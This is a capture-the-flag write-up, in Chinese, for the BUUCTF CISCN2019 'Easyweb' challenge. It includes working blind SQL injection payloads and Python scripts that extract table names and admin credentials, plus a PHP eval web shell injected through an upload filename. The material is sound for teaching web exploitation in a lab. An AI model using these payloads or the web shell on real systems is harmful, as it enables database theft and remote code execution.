BUUCTF [CISCN2019 总决赛 Day2 Web1] Easyweb
考点:
robots.txt
及备份文件addslashes()
函数、通过转义闭合语句- 用户名密码盲注
- 文件上传php短标签
启动靶机:
一个登陆页面,查看源码:
<div class="clear"> </div>
<div class="avtar"><img src="image.php?id=2" width="200" height="200"/></div>
<form method="post" action="user.php">
发现其存在image.php?id=2
页面,尝试访问1
、2
、3
:
不同的id
值对应不同的头像,对参数测试了写注入,无果,查看writeup为源码泄露
访问:robots.txt
发现其存在*.php.bak
备份文件,其网站存在index.php
、image.php
、user.php
都对其进行访问
成功下载到image.php.bak
文件:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
源码分析:
- GET方式传入变量
id
的值,若没有则为1
- GET方式传入变量
path
的值,若没有则为空
addslashes()
函数返回在预定义字符之前添加反斜杠的字符串,单引号(')
、双引号(")
、反斜杠(\)
str_replace()
函数将两个变量内的\0
、%00
、\'
、'
都替换为空
- 将变量
$id
与$path
拼接进SQL语句
本地测试:
<?php
$id = "\\0";
echo $id.'<br>';
$id = addslashes($id);
echo $id.'<br>';
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
echo $id;
?>
得到结果:
也就是说,\\0
在传入变量$id
的值后,首先被转义为\0
,再经过addslashes()
函数的处理,变量$id="\\0"
,再由str_replace()
函数的替换,最终变为\
。
SQL语句变为:
select * from images where id='\' or path='{$path}'
其中\'
变成了字符串包含在两侧的'
单引号中,即变量$id
的值为:\' or path=
之后就可以从{$path}
处拼接SQL语句,但没有查询结果回显,所以尝试盲注,通过猜测数据库名长度,构造Payload以验证猜想:
?id=\\0&path=or 1=if(length(database())>1,1,-1)%23
可以得到正常的回显,可以通过盲注来实现注入,首先获当前数据库中所有表名:
if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),0,1))=1,1,-1)%23
此处采用Python3盲注脚本,
import requests
url = 'http://44c9cc3b-aa02-4f64-b4ab-9e2cca44b58c.node3.buuoj.cn/image.php?id=\\0&path=or 1='
flag = ''
table_name = ''
for i in range(1, 50):
for c in range(127, 0, -1):
payload = 'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d,1,-1)%%23' % (i, c)
r = requests.get(url+payload)
if "JFIF" in r.text:
table_name += chr(c)
print(table_name)
break
得到了两个表:images
、users
判断用户信息应该在users
表中,继续爆出列名:
注:
因为过滤了'
单、"
双引号,所以需要将字符串转换成十六进制:
users -> 0x7573657273
构造获取列名的Payload:
if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),0,1))=1,1,-1)%23
使用Python3脚本实现:
import requests
url = 'http://44c9cc3b-aa02-4f64-b4ab-9e2cca44b58c.node3.buuoj.cn/image.php?id=\\0&path=or 1='
flag = ''
column_name = ''
for i in range(1, 50):
for c in range(127, 0, -1):
payload = 'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))=%d,1,-1)%%23' % (i, c)
r = requests.get(url+payload)
if "JFIF" in r.text:
column_name += chr(c)
print(table_name)
break
得到列名:username
、password
接下来就是常规的盲注,需要获取用户名和密码:
select group_concat(username) from users
Python3脚本:
import requests
url = 'http://44c9cc3b-aa02-4f64-b4ab-9e2cca44b58c.node3.buuoj.cn/image.php?id=\\0&path=or 1='
flag = ''
username = ''
for i in range(1, 50):
for c in range(127, 0, -1):
payload = 'if(ascii(substr((select group_concat(username) from users),%d,1))=%d,1,-1)%%23' % (i, c)
r = requests.get(url+payload)
if "JFIF" in r.text:
username += chr(c)
print(username)
break
得到用户名为admin
select group_concat(password) from users
得到明文密码:a99ebacca074d1e47924
使用账号登陆:
admin
a99ebacca074d1e47924
进入平台,有文件上传功能,先传入正常的.txt
文件:
上传后,给出回显:
说将文件名记录在日志中,尝试通过文件名写入一句话木马:
<?php @eval($_POST['hack']); ?>
尝试使用BurpSuite抓取数据包,通过修改文件名实现写入一句话木马:
Content-Disposition: form-data; name="file"; filename="1.txt"
修改Content-Disposition
中参数filename
的值为:<?php @eval($_POST['hack']); ?>
得到回显内容:
提示不能上传php
文件,猜测是因为一句话中包含PHP的<?php
该标签,查阅资料,可以使用短标签:<?= ?>
注
:使用短标签时,需要short_open_tag=on
。
构造短标签一句话木马:<?= @eval($_POST['hack']); ?>
,传入得到回显:
已经给出了log
文件路径,使用中国蚁剑连接:
在/
目录下找到flag
: